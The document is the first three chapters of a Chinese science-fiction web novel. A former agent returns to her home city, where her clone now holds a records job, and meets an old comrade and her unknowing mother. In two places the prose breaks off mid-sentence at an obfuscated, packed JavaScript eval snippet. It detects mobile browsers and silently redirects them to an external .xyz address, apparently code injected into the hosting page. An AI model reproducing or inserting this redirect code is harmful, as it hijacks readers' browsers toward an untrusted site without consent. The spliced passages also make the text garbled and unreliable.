《上司说我不能掉马甲》 1. 另有所指的任务 我时隔十年再一次踏入本属于我的地方。 沿着干净到反光的人行道,我走过人群密集但意外安静的商业区,有些不自在地扶了扶细框眼镜。 纯粹的单色植被点缀在整洁的角落。身边的人流路过那些绿色,我忍不住站定几秒,多看两眼。 由不得我近乡情怯、伤春悲秋,我还有个任务得先完成才有时间抒发多余的情感,不该停留。 十年前替公民找猫找狗的警察算不上是什么好工作,但绝对没有下降的空间,只有世俗意义上一片美好的未来。 特别是,比起我现在这份要遭受良心折磨的工作,那真是要好得多了。 生命管理局,档案中心,这是任务目标的当前所在地点。伴随着“为了生存,也为了生活”的语音宣传,我踏进这栋建筑。 “我需要档案复印件,请问我需要去哪一层?”我靠在前台,对着保持着完美微笑的前台说,“这是我的证件。” 前台收走了我的证件,登记完了才还给我:“档案处理在十八层,祝您今天愉快。” 我没理会这句问候,拿着证件赶上了即将关门的电梯。 我盯着楼层显示逐渐跳到十八。 “生命管理局”,这名字透露着科幻小说里乌托邦制度性反派似的气质。等电梯到位的时候,我不着调地想。再配合上看着就内部腐败的建筑,别的城市真是不知道要怎么编排这里。 但很遗憾,不是反派也是一种反转。我轻轻叹了一口气。至少如我所见,他们说得冠冕堂皇、难以置信的官方理由居然每一句都是真的。 “吴潍!人到了,你接待一下。” 电梯门开的时候,里面的哪位档案员喊了一声任务目标的名字。我迅速扯出一个“麻烦你了”的浅笑,跨出电梯。 我听见忙碌的机械发出提示音,看见最中央的大屏有不同的区块,展示着不同的档案分类。 “你好,需要复制档案是吗?”熟悉的长卷发落在声音主人的背后,柔和的声音对着我说,手里操作着我看不懂的屏幕,“稍等一下。现在其实可以直接在终端提出申请,不必线下来一趟的。” 我看着她有些愣神。 管理局不是说她是残次品吗?残次到哪里去了?这样看起来不是很完美吗? 很难说到底是嫉妒,还是欣赏地去看我的任务目标,我的生物复制体,我选择了最烂搭讪的方式:“你是档案管理员?” 她眨了眨和我一模一样的绿眼睛,似乎对我的问题感到十分困惑,笑了一声:“我在这工作,当然是管理员了。” 前线转文职,明升暗降。我迅速收集信息,以前这种任务我都是当辅助,现在轮到自己身上反而有些奇怪。十年没出前线,对我一点戒心都没有,看来,这即将是我干活最轻松的一次。 管理局的这个决定可以理解,当年“人类异常信仰案件”之后,我,不对,我这个基因组就安分不下来,调职是很明智的决定。 迅速回到车上,草草扫一眼管理局给我安了什么假身份,又把这份一半是托词的档案扔在副驾驶上,实体纸张飞出夹层,乱糟糟地洒了一整个座位。 但我还是有些说不清道不明的情绪。 嫉妒?仇恨?有,但也没有那么多,综合下来,反而有几分奇异的“有意思”。 我都不知道我还有在座位上一坐一整天的潜能。靠在椅背上,顺手把眼镜扔在后座,先去目标居住地附近踩踩点,挑个合适的地方做做准备,顺便看看母亲。 曾经熟悉的路线几乎没有变化,那些如出一辙的独栋居住房屋也毫无变化。曾经魂牵梦绕的景色在我视野里飞驰着,但我无暇去欣赏,最后,把车停在曾经的家对面。 门口种下的一串双色月季还在开放。这个品种的月季相当昂贵且难找,仅次于专供生命管理局的纯色月季。托了好几个人,我花了将近半年的薪水,才把它带回家。 我忍不住莞尔,想起当时母亲看见这株双色月季又心疼又高兴的模样。作为家里的独女,自然会想把得到的一切的爱同样回敬给施予爱的人。 我在等吴潍下班,只需要远远地看一眼母亲露出拥抱另一个自己的微笑,我就有理由处理掉吴潍,完成任务,再去看管理局非要把我请回来做什么。 要是真就把我请回来做“档案管理员”的文职,我转头就回下层睡觉去。 但我没有等到,一直等到我不知何时睡去又惊醒,没有听见有人停车回来,也没有见到母亲。 不对,吴潍人呢?我有些恼火地拍了方向盘。上层环境太安静了,实在是催眠。 思考片刻,我决定下车,摁响门铃。确认铃响,我快速转移到那株茂密的月季背后。 确实是母亲开的门,排除搬家可能,排除管理局情报错误。 她原本深棕色的头发快变成了金色,潦草地扎在脑后。我透过叶子的罅隙去看母亲,试图转起来的思维最后还是一片空白。 她茫然而无措,声音和缓而困惑:“有人需要帮助吗?” 我下意识地张嘴,最后也只有一个口型。 她看不见我,没有经过训练的公民很难发现细微之处的变化。那株月季太茂密了,绿色到浓重的植被是天然掩体。 最后母亲摇了摇头,长长地叹气,最后关上了门。 职业不对,亲情错位。我不知道我怎么回到车上的,坐在驾驶位上,扶着方向盘。不知道是因为情报错误,还是因为不能真正见到母亲而有些茫然和郁闷。 该死的管理局。在下层不给我准确情报就算了,毕竟那地方街头死个人不算新鲜事。 在上层都没有准确情报?是等着我再闯一次管理局,把那些机密文件再翻出来看一眼吗? 我恶狠狠地威胁远在天边的上司。管理局当然不会犯这种低级错误,更不会把我请回来就为了耍我玩。 说到底,我有的是手段让管理局知道什么叫“请神容易送神难”。 我调出手环,重新检查了任务书。耍我一回我就狠狠敲一笔竹杠,有本事真把我终身监禁,杀了一了百了。 没有问题,每个字都是我认识的,语气风格也是管理局风格。我关掉手环,瞥见后视镜里有一辆车停在我车后方不远处。 车牌号有点眼熟,但我一时有些想不起来。遥远追查嫌犯的职业病让我下意识地启动车,试探一下对方是不是来追踪我的。 当然,概率不大。我刚到城市还没三小时呢,话都没跟人说上两句,管理局肯定会掩盖好的身份报告,哪里会有人专门追踪我? 我的车看起来很旧,我看起来很困,浑身上下散发着“靠近我我就杀了你”的气质,谁没事找我茬。 随便找了家饭店,设定自动巡航,我继续去琢磨管理局到底要我干什么。 假如管理局认为情报没错的话,那一定是获取情报的源头出了问题。 谁会把隐瞒一位档案管理员的居住地,还是特地向管理局隐瞒?十年过去,不至于管理局公信力降低成每个人的敌人吧? 那么,就是吴潍自己向管理局瞒住了?我感到有些棘手,又有些“不愧是我”的欣慰,真是诡异的感情。我得去查查她的底细。 但似乎也有点说不通,满城的无人机,管理局但凡验证一下就不会给我这份错误情报了。 唉,现在线索太少,再想也没有用。我看着后视镜那辆车不远不近地跟着我,迅速作结心里的推理。 不管是要处理吴潍,还是要找出管理局为什么会犯错,我都得要用个理由接近吴潍看看有什么问题。 当然,首先,得解决掉这条意料之外的小尾巴。 对方车看着发动机就比我高级那么七八年,用我的车甩掉它根本不现实。 我一边看地图,一边对着冷不丁出现堵路的车感到不耐烦。 城市公民能不能行行好,我在被人追呢。 连着两个想拐弯的路口都被堵死了,我再迟钝,也能意识到对方似乎在隐晦地把我引向某个地方。 身正不怕影子歪,把我当潜逃嫌疑人呢,但很显然,这是个彻头彻尾的误会。我干脆关了自动巡航,慢条斯理地手动驾驶,顺着对方的意思走。 拐了半天,最后的路通向的是一间鲜花仓库。 我卸掉腰间装备防止解释不清,把车停在停车位上,自己下车锁门,抬头看见显然是城市管理局的人示意我进仓库。 还得关起门来问?我思考着是不是应该抗议一下,但对方似乎不介意把我压进去。 我不熟悉现在的城市,也不熟悉现在的管理局,万一是上司亲自给我赔罪也说不定?不着边际地幻想着,半自愿半胁迫地被停车场的人压进仓库。 仓库里没有显式灯,周围的暗灯只能照亮周围铁架的轮廓,有很多堆叠的影子。 低温寒气扑面而来,我忍不住皱了眉头。 身后的人显然不愿意说话,我只好主动开口,对着空间里可能存在的第二个人对话:“警官,我急着回家给孩子做饭呢。” “Wined·Caster,”对方喊着我伪造档案上的名字,“你哪来的家庭。” 既然喊我的不是代号“Woe”,也不是真名“吴潍”,那事情就好办多了。 不过,总感觉对方声音有点耳熟,是我以前的哪个同事? “养猫也没写在管理局档案里。”我懒洋洋地顺着话题去说,“前两天还有个宠物犬重婚罪的案子,我把猫当孩子只能算过时爱好。” 对方似乎靠近了我几步。我下意识想摆架势,但手无寸铁,也没有严刑逼供的必要,强行压下这股冲动。 但对方不这么觉得。 身后的人一手抓向我的肩膀,我往旁边不留痕迹地跨出半步,顺手从铁架上摸出一朵,转手塞进对方手里。 那只手倒也没有一无所获,至少拿了朵花。 我是去了一趟管理局,不是越狱出来的好吗? 我用哄小孩的语气跟手里捏了朵花的人说:“不用谢,帮你拿了。” 拿着花的人带着口罩,我只能看见他狠狠地瞪了我一眼,似乎接到了什么指令,没有再攻击我。 看来是下属,那另一个女声就是头头了? “有话问话,有事说事,我很愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272514|182377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意配合管理局行动。”我往先前问话的人所在的地方走了两步,“但我毕竟是移民,场面闹得太难看,对大家都很麻烦。” 一步,两步。我缓慢地走过第三个货架,感受到身后一阵明显的风。 迅速转身抓住来着的手腕,匕首的寒光几乎顺着刀锋刺进我的眼睛。对方熟悉的褐色眼睛翻滚着浓烈的情绪,记忆随之而来,我来不及再去感受。 匕首卡在半空中,对方空着的手握拳快速蓄力冲向我的肋下。我空着的手迅速下劈,对方的攻击偏移落空,抓住机会,我迅速抬腿,犹豫瞬间还是选择踹向对方小腿。 对方吃痛,稳不住身形往旁边一歪。我后撤两步,拉开距离。 “多说两句?”我试探性地问她,“我总得死个明白吧?单纯地看我不爽还是什么?” “看你不爽。” 她的怒气不知从何而来,招招几乎处处直戳我的命门。一路挡,一路撤,最后愣是撞在铁架上,我眼见着那把匕首冲向我的脖子。 本想下蹲躲过,但我实在是厌烦,一把抓过她的手腕,再次让她偏移攻击方向,顺势转身压住她的手臂,抬起手肘击打她的手腕,迫使她放弃匕首。 她闷哼一声。手腕脱臼当然疼了,但我已经尽量控制力度了,祝她好运。 匕首落地瞬间,被我一脚踢进铁架下,很难再寻。 没等她借势再去锁我的脖子,我小腿往后一勾,放手,看她整个人仰面倒下去。 我没再让她爬起来,跪压在她身上,甩出极少用到的左臂匕首,抵在她的脖子上。 “我的仇人可能有点多。”我一把抓住她没有脱臼的那只手,压在她的胸口,“给个提示?” 她冷笑一声:“你杀了她。” “我没杀过人。”我有些头疼,在上层我还什么都没做呢,“你又不是没看过我的档案。” “你怎么敢拿走?你怎么敢侮辱她?” 她情绪激动了起来,在我手底下挣扎着要起身,我不得不退了几分,防止真的伤到她的脖子。 拿走什么?侮辱谁?我干活很有人道主义的,不要污蔑我:“操,你到底在说什么?” “你别装傻!” 她不知道从哪里来的力气,硬生生挣脱开我的控制,一把反扑过我,掐着我的脖子压在地上。 没等我给出点反应,她忽然又松了力气,没有再试图掐死我。 她的眼泪一串一串地落在我的脸颊上,脖子上。低温鲜花仓库让本温热的眼泪冷得像冰块,冻得我有些颤栗。 “你到底想问什么?”我深深地叹气,“我知道我刚来城市,被拦下来质询也很正常,但你,明显不是为了这个。” “吴潍,”她终于打算说点什么,“遇到了什么?” 她是叶琦。我在心里迅速筛选出这个结论。这把匕首是她给的,如今在一个陌生人手上,能持有它的“吴潍”,八成遭遇不测了。 但她是怎么知道的?明显从跟踪我开始就知道了,而我没有向任何人展示过。 好吧,我承认我现在展示给她看,是有几分验证的意思。 “在管理局整理档案呢。”我对她说,“你要是想她,可以去十八楼,真的。” “骗子。”叶琦的手紧了紧,“那个吴潍什么都不知道,真正的吴潍是失踪。你也是骗子。” 我抓着她的手,急忙挥手示意她我说不出话了。在她松手后,我猛地咳了一声。 “失踪?”我艰难地重复了这个词,“为什么?” “是我在问你!”叶琦压低了声音,“你这种转移话题的手段跟她真像。你跟吴潍是什么关系?真正的那个。” 很显然,我除了承认我是“吴潍”以外,不管是朋友,还是杀了她的凶手,叶琦绝不会放过我。 朋友?徒弟?吴队哪里会有能把挚友礼物送人的可能,我只能是先靠近后杀的背叛者。复制体?管理局造出的复制体不会有叶琦的匕首。 姐妹?吴潍是独女;女儿?更是离谱,当年就是单身,无论如何女儿不会超过九岁;养女?这个倒是挺有可能,但哪有养女和养母一样大的。 被十年前的叶琦算计了。 我不知道是什么心情地笑了一声:“哈,叶琦,我直到今天都没有怀疑过你的匕首。” “那好,我们来叙叙旧。”她的声音冷硬,但她松开了手,“坐标:671.87A,189.46Y。明晚十一点,暗号:信仰一直存在。” 听起来像什么邪教。我思索着。信仰,又是信仰。 十年前的人类异常信仰案我知道所有真相,十年后又卷土重来。有什么意义呢,单纯地享受那些复制体的付出不就好了? 我跪坐在地上,摸着脖子:“管理局在让你调查谁?” “吴潍。”叶琦的语气我有些琢磨不透,“现在你也是我的调查对象。” 叶琦离开了,我目送她离开,自己趴下身,去摸那把丢失的匕首。 走得倒是潇洒利落,回头想起来要写匕首丢失检讨可别哭。 我顺利摸出匕首,站起身收拾好,回到车上。 2. 另有所指的任务 坐标需要特制的管理层坐标器解码,但我可懒得去闯曾经的办公室。随手从手环处划出个窗口,干脆手动计算起来。 和人类接触越少越好,我不想引起轰动。手指没停下计算,但我的思绪早就飞到了天外。 吴潍是调职,对叶琦来说怎么会是“失踪”呢? 因为匕首?还是因为我是自己都不知道的嫌疑人?难道这就是管理局给出错误情报的原因? 有人在关注外来者,关注异常的外来者,大概率,是管理局内部的人。 当然都没有证据,我想再多都是空中阁楼。 坐标解出来是个城市建筑夹缝。我有点意外,叶琦看来并不是很想和我叙旧,而是干脆把我拖进她的任务里。 叶琦说她的任务目标是吴潍,那种档案管理员有什么好怀疑的?我都不知道这种小角色,能在城市运转里能掀起多大风浪。 而且吴潍看起来天真又善良。我把窗口关掉,想着和吴潍的匆匆一面。她看起来富有激情,和我完全不一样。 我原来有那么善良的机会?我看着自己的手,右手拇指掌根有一些茧子。 我熟悉枪械,熟悉刀具,熟悉一切能够造成损伤的武器,熟悉各种情景的战术,熟悉如何带领队友完成一场危险任务——但我不熟悉如何捻起纸张、挨个点数,也不熟悉对陌生人露出真心而亲切的微笑。 基因组说我适合当管理者,于是我就接受了训练,成为了城市维护者的一份子。 如今的我看来,还是我运气不好,分在了城市内,没有参与城市外的核战清算战争。 要是干脆死在清算战争里,还有烈士的英名,现在死掉,我就是个无人问津的“生物复制体”。 哈,我连自己的身份都没有。十年前意气风发的时候,可没想到现在的狼狈。 离约定时间还有十三个小时,整整24个小时没有好好休息过,我应该抓紧时间睡一觉。 城市内的旅馆酒店生物信息认证严格,会留下生物信息,万一比对起来,就会暴露我是生物复制体。何况,管理局自己似乎都有很多麻烦,我确实信我上司那一帮人能解决这些小问题,我也不能冒任何潜在的风险。 只能找个偏离市中心的旅馆,干脆一觉睡到自然醒。 会周公路上,情感退潮,理智的礁石硌着我辗转反侧。看着无趣整洁的天花板,我再次反复回忆叶琦的情况。 叶琦坚信吴潍是失踪,如今到这种极端的谋杀举动,要么她查了十年,走上了我的老路;要么就有个该死的第三方在哄骗她。 不论如何,我回来可不是为了把她拖下水的。 睡完一觉起来,我得给自己找点正事干,好歹得搞明白为什么叶琦能追踪到我。 我本想去叶琦给的地方时带上眼镜的,但因为我的往后座一扔,横竖找不到了,只好放弃。 在副驾驶的隔板里拿出化妆品,用浓妆掩盖生物特征。主要是视觉上修改眼型和脸型,说是简单易容倒是更贴切。只要不去需要严格验证生物信息的地方,一般都不会出问题。 到了地方,才发现是个隐藏的地下酒吧。扫了一圈没发现叶琦的身影,又不爱喝酒,我干脆找了个角落,点了杯酒精度低的。 酒保们都不会多问,我一时间也有些分不清到底是真人还是复制体。尽管理智上知道,在上层的居民都只是人类。 我摸了摸额头,又去看时间:十一点零三。 叶琦迟到了。我想着,听见隔壁桌似乎在讨论“档案修改”的问题,酒也不喝了,调整姿势靠在椅背上,以更好偷听。 但不幸的是,重金属摇滚只能让顾客听清身边人的话语。刺激的酒精味和明显打氧的内部空间,每个人都在理智地兴奋着。大喊大叫,碰撞玻璃器皿,更有甚者甩着衣服踩上酒桌。旁人也听不清耍酒疯的主角说了什么。 没等我听出个所以然,叶琦落座在我对面:“点了什么?你这哪里是酒,完全就是甜水。” 好像昨天打的一架和失态完全没有发生过,好像只是叙旧一般。我没有点破,顺从地配合她。 “又不给你喝。”我把酒杯往自己方向一拉,把腰间属于她的匕首递回去,“这下就不用写检讨了。” 叶琦笑了一声,收回匕首,嘲讽似的回应我:“我现在这个级别不用写检讨。” 我一时有些语塞。叶琦升职了,已经不是以前那个丢失武器需要严格检查的普通下属了。 “你要叙什么旧?当年的案子和我,”我停顿了一下,“吴潍的去向都有保密协议,问了我也不能说。” 叶琦没在乎我的警告,也没在乎我临时修改的人称,点了两杯招牌,才看着我反驳:“不问这个,我早就过了执着这个问题的阶段了。” 我一偏头,翻了个不明显的白眼,把她称呼的“小甜水”一口饮尽,示意她继续说。 “你为什么回来了?”叶琦问我,语气很平淡,“你失踪了十年,总不能是保密任务结束了吧?” “你有任务,我也有任务。”我耸肩,“这很难想到吗?” 叶琦点头承认我的话:“所以我才要问你。城里已经有‘吴潍’了,管理层不会犯这种低级错误。” 她的视线意有所指地转向入口,我也跟着她的视线望去。熟悉的长波浪在来人身后摇晃着,不知道是不是我的错觉,周围的声音安静了几秒。 “你是来杀她的,”叶琦下出肯定结论,“对吗?” 我收回视线,不置可否:“我为什么要杀她?我跟她有什么冲突吗?” 这倒是实话。我虽然还没摸清吴潍到底有什么问题,但目前所见,她的职业和家庭关系已经和我无关了,实质上,对我来说,吴潍就是个长得很“吴潍”的陌生人。 叶琦皱着眉头,似乎被我问倒了。 我抿了一口酒保拿来的招牌。一股木头味,现在的人类品味真奇怪。虽然不难喝,但我依然不喜欢。 “还有问题吗?”我摩挲着杯口,低头盯着我的指尖,“如果能让你好受一点,我先承认我是复制体。” “说谎。”叶琦显然不信我,语气里不知道是埋怨还是控诉,“你这个样子和十年前一模一样。你有事情瞒着我,而且是打算一个人去做,哦不,闯一个大祸,然后再次逃之夭夭。” 叶琦把酒杯一推,语气夸张地配合肢体语言,不耐烦又无语地表演着。 没法反驳,那次行动对她而言就是背叛。 “不反对,但我有名字。”我停下手,抬头去看她,“现在的名字是‘Wined·Caster’,你又不是没看见。” 叶琦深深地叹气:“告诉我,就这一个问题。你为什么回来?” 我试图用沉默抗拒她的好奇心和关心。 叶琦没等我的回答,起身准备离开,路过我的时候见我坐着不动,一手把我捞起来,示意我跟在身后。 正巧,叶琦和吴潍都是我的调查对象,我顺从地跟在她身后。叶琦跟着吴潍,转进了酒吧后台。 说真的确实很是意外,那种明显天真呆傻的乖乖女怎么会来这种地方?好吧,我承认,这样说其实不太好,但谁让吴潍是我的复制体呢,我只是在评价我自己罢了。 走神地跟着叶琦拐进隔音包厢,我差点撞在她后背。 “吴潍,我有个朋友想要改档案。”叶琦一下拉过我,嘴里的朋友显然就是我,“你知道的,最近信仰问题更让人恐慌,她想把档案标记为不适合生命备份。” 冷不丁和吴潍再次对上视线,我平静地转开交汇,没有反驳。她似乎没有认出我,这让我松了一口气。 吴潍捂着胸口,不知道真心还是假意地撒娇:“叶琦,好久不见了。每次找我都是这种正事,我会有点伤心的。” “没办法,大家工作都很忙嘛。”叶琦在我肩上的手紧了紧,仿佛在暗示我什么。 我放弃细想。但不得不说,看着自己和曾经的朋友用假模假样但熟稔的语气撒娇,实在是有点吃醋。 “我需要指出,生命备份不能被拒绝。”吴潍转入了正题,语气冷淡了不少,“这是城市选择的人类存续方式,我只能帮你把档案标记为延后备份。” 表面上来看,生命备份只是为了记录人类基因多样性,为了人类延续,为了在核战清算战争中证明自己的路线正确。 她眨着眼睛,微微歪了头,半是探究,半是在等待什么。叶琦捏了捏我的肩膀,疼得我有些控制不住表情。 “Wined·Caster。”我报出伪造档案上的名字,背后锤了叶琦一下,习惯性地加上玩笑话,“听起来很像酒鬼,是不是?” 吴潍没控制住表情,低头轻笑了一声,清了清嗓子:“我知道了。我们是走定尾制的,百分之四十打到这个账户,其余我再告诉你们。” 叶琦的通讯终端响了一声。她查看了一下,和吴潍对视:“好的,有事我们再联系。” 直到走出了地下酒吧,我有一堆问题,拉着叶琦的肩膀迫使她看着我:“你拿我当鱼饵?” 虽然这份档案本来就是伪造的,就算改了,也跟我本人没关系,但我还是觉得叶琦绝不会这么简单地利用我,去抓吴潍的灰产生意,看着就不像第一次。 “事已成定局了,Wined。”叶琦耸肩,调戏似的喊我假名,“你不吃醋?” “哈?我吃什么——”我下意识反驳,最后强转了话题,“这跟你给我的暗号有什么关系?” “我要是不给你这个暗号,你会来吗?”叶琦不笑了,认真而严肃地看着我,“你根本就不会来。” 叶琦说得对。如果不是因为那个指示性极强的暗号,我真的会放她鸽子。 吴潍一个小小档案管理员,能掀什么风浪?哪个人先死后死,哪个人老几岁年轻几岁,哪个人事情先办后办,能做什么呢? 但她绝对不只是因为这个。因为十年前的交易,吴潍一直在被监视,这种修改日期的操作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272515|182377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能算是小打小闹,不值得被叶琦特意追查。 “你回来是为了那个案子。”叶琦把我的沉默当做默认,转而去抓住我的手,“你到底知道些什么?这个案子到底有什么?” 那倒不一定为了案子。我在心里想着。还没确定你背后的第三方到底是谁,主要是我的小命和麻烦都可能更复杂,我得查明白。 “不要追查了。”我跟叶琦这么说,“你只需要汇报进展困难,然后扔到一边就可以了,没有人会管的。” “那我更要查!”叶琦掷地有声,“我不能退让!” 我盯着她,仿佛看见曾经拦着我的亲近下属,只不过如今,是下属想跳火坑送死。 她眼里炽热的火让我有些不知所措,但我必须要去熄灭它:“我问你,叶琦,你为什么查案?” “公平正义。”叶琦不假思索地回答我,非常符合城市价值观的说法。 我看着叶琦坚定到不容置喙的表情,梦话似的绕她:“假如,我是说假如,这个案子的公平正义,根本不适用于公平正义所涵盖的主体呢?” 叶琦皱着眉头,似乎听够了我说的胡言乱语:“你是说复制体?复制体本身就是生物工具,而且没有正式投入使用。” 我冲她摇头,露出“无可奉告”和“我就是投入使用的证据”两个意思,最后放弃说明和提示:“你当我吃醋了胡言乱语吧。” 不知道她有没有接收到我的信息,准备转身想离开,但被她抓住了手腕。她说:“你有地方住吗?” 我诚实回答她:“没有。” 叶琦拉着我的手更强硬了些,声音是不容置喙:“让你的车设置为自动跟随,在你任务完成之前,都住在我那里吧。” “Wined·Caster,”我纠正她,“我不能叫那个名字。” 叶琦看起来失去了所有力气,不知道是对着我,还是对着我背后的、十年前的幽灵。 十年巨大的裂痕,我拼尽全力也无法弥补。叶琦像是捡小狗似的把我捡回家安生照顾着,直到我完成任务。 我躺在叶琦的客房床上,回忆着自己刚刚捕捉到的零碎信息:她有婚戒,家里茶几上还有裁去一半的三人合照。 我不知道该说什么。 为了自由,我抛弃了“吴潍”这个名字,这个名字所关联的职业、人际关系、财产,什么物质的精神的我全部放弃了,就为了那施舍般的自由。 我本不该缺席叶琦重要人生时刻的,她是我的战友、挚友,我本应该在她身边的。我开始怀疑我为了自由抛弃的一切,真的值得吗? 叶琦只知道管理层会用生命备份制造复制体,其他一概不知。在她眼里,或许只是不得不进行的应急方案,不需要过多关注,整个上层人都这样。 我知道事情远远没有那么简单。 第二天醒来,我洗漱好,收拾好一切,整理好表情,拉开客房房门。 “叶琦,你出任务的时候带上我吧。”我对着准备出门叶琦说,“算我求你的。” 我得跟着叶琦,看看她背后到底是什么。我真诚地看着她。但尾随这种选项在她身上根本行不通,倒不如利用我真正的迷茫让她带着我走。 叶琦的手扶在门框上,她的眼睛看着我,没什么多余的情绪。 “好的。”她的声音很平静,“我们走吧。” 坐在叶琦的副驾驶上,我开口问她:“你在查什么案子?” “精神分裂。”叶琦说得很平淡,本想拿出文件给我看,又觉得不符合规定,最后放在了自己的腿上,“每年都会有探索辐射区的任务,总有家属觉得回来的人被替代了。” “卡普格拉综合征?”我扯出个名词,“升官了也还是只管这种家长里短?” 叶琦斜了我一眼:“城市连偷窃都少有,大家该有的都有,能有什么大事?” “说的也是。”我点头,“那你上门就是了解情况?” 她懒得回答我,把记录装置扔给我:“我带着你不符合规定,你跟在后面记录就行了。” 我没推脱,像是变成了十年前的新人一样,拿着笔和平板跟在导师后面跑。在叶琦停在母亲家门口的时候,我还有有点不可置信:“这是报案人?” 叶琦没急着回答我,我只好跟着她去家门口,曾经的家门口。路过双色月季还是多看了几眼,长得那么好,绝不是正常照顾就能做到的。 “吴烛女士,”叶琦敲门,对着来开门的母亲说,“我是生命管理局员工,来找您聊聊天。” 我下意识想躲,但没来得及。 吴烛看看叶琦,又把视线落在我身上短暂停留几分,最后回到叶琦身上,声音和缓而坚定:“我精神很稳定,我没有疯。” “不用太警惕。”叶琦扶着门板,阻止吴烛关门,“只是日常关询而已,不请我们进去聊聊天吗?” 吴烛没有再推脱,放弃和叶琦再较劲门板,转身前往客厅:“进来吧。记得带上门。” 3. 另有所指的任务 最后一个进门,我关上门,看见门板背面挂着围巾和钥匙。最边上还有一张半个手掌大的实体照片,是我当年毕业时左手搂着母亲,右手搂着父亲拍的照片。 脸上那样灿烂的笑容已经很久没在我脸上出现了。我走神得厉害,直到被吴烛的声音拉回来。 “那位……喝点什么?” “呃,我是Wined。”我收敛好情绪,转身走进客厅,坐在叶琦旁边,“白水就好。” 吴烛没有认出我,理所当然的。 去了下层,我第一件事是剪掉留了好几年的长发,然后拉直,戴上黑色的美瞳,修了眉毛,抛弃了一切有可能和曾经的“吴潍”扯上关系的细节。 在外人看来,我大概就是天天拉着一张脸,觉得全世界恨不得再核爆一次才会微笑的人。 “吴烛女士,我知道您和女儿僵持了那么多年,很难再改变想法,”叶琦叹气,看着微笑但冷漠的中年人,“但我们还是要争取一下。那就是您的女儿,前前后后的基因鉴定都做了十几回,您在顾虑什么呢?” 吴烛没有说话,十年了,要我也言尽于此了。我避开母亲的视线,把注意力放在手里的平板上。 我听见她说:“我只有一个孩子,是不是我的女儿,我比你们任何人都清楚。” 叶琦有些苦恼地扶额,端起茶杯喝了一口。斟酌着语气,我尽可能冷漠地开口问吴烛:“为什么您会下定这个结论?” 吴烛的视线透过客厅的窗,落在前院的小花园上:“她不喜欢双色月季。” 我的视线跟着吴烛的视线往前去。 是月季。 月季有层层叠叠的花瓣,每一层都有不同的颜色,似乎具备某种不可言明的规律。说起来,母亲才是不偏爱月季的那位。 她爱种花,享受过程,但我只喜欢花朵的成果,对日复一日地照顾弱小生物感到厌烦。 “因为这是她送给您的,她本人并不需要喜欢双色月季。”叶琦替吴潍回答,这种对话似乎经过了很多轮,“况且她本人要是不喜欢,干嘛还得种在家门口呢?” “你们理解不了。”吴烛放弃解释,“她应该喜欢那些花。它们开成花墙了,但她连多余的一眼都没有。她不是我的女儿。” 所以双色月季开得那么灿烂,比其他品种的开得更加突出。母亲在用这种证明验证着,期盼着有朝一日“女儿”的归来。 这一趟探访的结果就是事情都没有进展。 倒也不能这么说。至少看得出来,吴烛除了不认自己的女儿以外,一切正常。 这是管理局的日常任务之一,关心人类精神状态,评估基因组给出的潜力还有没有可实现余地。 叶琦不再纠缠。毕竟十年了,这是次要任务,主要任务只是观察花园的成长状态,保证吴烛的精神状态良好。显然,后者们都是合格的。 离开前,我还是忍不住对母亲说:“月季开得很好,您女儿会很喜欢您的月季。” 她垂落的眼神忽然转向我,仔细地端详我。我怕她看出什么端倪,想微笑着道别。 吴烛拉住了我的手,看着我,似乎能看穿我拼尽全力的伪装:“喜欢就好。我想要的也不是女儿回来。她有自己的生活,我只想她……幸福。” 没有给我情绪缓冲的空间,吴烛放开了我,关上门,转瞬即逝的不安被浓重的哀伤取代。 我看见母亲过得还不错,但不知道父亲上哪去了。 也许是上班去了?但上门质询是提前通知的时间,如果没有意外事件,每个家庭里的成年人都应该在场。 或许有人会不愿意接受,但质询报告和城市基本待遇有一定关系,不应该不重视。 重新坐在副驾驶上,我等着叶琦开车。 她没有开车,看我怔愣地看着空气中的某点,最后给我递上了一张纸。然后什么都没说,拿走了我手里的记录平板。 我父亲不在,母亲似乎没预料到叶琦的到来,可以很简单地推断出:叶琦是特地带我过来的,并且在背后一定有额外的目的。 “叶琦,你想要做什么?”我擦掉无意识落下的眼泪,“你想我重启十年前的案子?” 叶琦似乎觉得一切铺垫够了,终于决定说出她的真正目的:“吴潍,你的复制体在毁掉你的生活。” “那是她的生活,你得尊重她。”我不知道是意料之外,还是之内地回答,“她是档案管理员,不是我的生活。” “我为什么要尊重复制体?”叶琦坚持叫我的本名,“吴潍,如果你是真正的吴潍,现在你可以回来,可以弥补曾经断开的一切,为什么不回来?” 因为没有意义。我不想谋杀一个看起来更好的自己,我不想对十年前的人解释我为什么调职又复职,为什么十年跟他们生疏又尴尬。 因为,我不想。 我逃避了这个问题:“我不是你想的那个吴潍。” 叶琦嗤笑一声,似乎是彻底失望,又像是找到了什么答案,双手拍在方向盘上:“行,可以,我不在乎。我告诉你,吴烛加入了组织。” “什么组织都和我没关系。”我准备下车离开,但车门被叶琦彻底锁了,“放我走。” “听我说完!”叶琦提高了声音,“是人类异常信仰组织。” “不新鲜。”我评价,“十年前管理局给他们起的名字就这么接受了?真有意思。” “他们都很迷茫。”叶琦盯着我看,试图从我脸上找出动摇的证据,“他们会测试怀疑对象,证明他们真的是自己爱的那个人,甚至会替别人证明。” 我懒得听这些陈词滥调,自己摁了解锁键,无意再和叶琦纠缠,拉开车门起身离开。 